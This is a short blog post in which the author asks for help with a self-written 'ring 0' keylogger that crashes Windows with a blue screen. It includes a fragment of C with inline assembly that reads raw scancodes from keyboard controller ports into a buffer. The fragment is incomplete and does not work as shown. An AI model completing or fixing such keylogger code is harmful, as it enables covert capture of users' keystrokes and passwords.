Ring0 Keylogger
I code a keylogger that enter in ring 0 through a trap gate but when the
keylogger enter at interrupt handler it don't return with teh IRET
instruction and show a BSOD with the message:
A CLOCK INTERRUPT WAS NOT RECEIVED ON A SECONDARY PROCESSOR WITHIN THE
TIME INTERVAL.
This is driving me crazy, I don't know what can I do. How can I solve this
problem? Here is part of the code of my keylogger:
while(1)
03 {
04 __asm int 0x28
05 goto End;
06 __asm {
07 CLI //Begin of RING 0 interrupt handler that cause BSOD
08 PUSHAD
09 MOV EDX,0
10 LEA EBX,[Keystrokes]
11 Begin:
12 IN AL,0x64
13 TEST AL,1
14 JZ Begin
15 IN AL,0x60
16 MOV [EBX],AL
17 INC EBX
18 INC EDX
19 CMP EDX,20
20 JNZ Begin
21 POPAD
22 IRETD
23 }
24 End:
25 }
No comments:
Post a Comment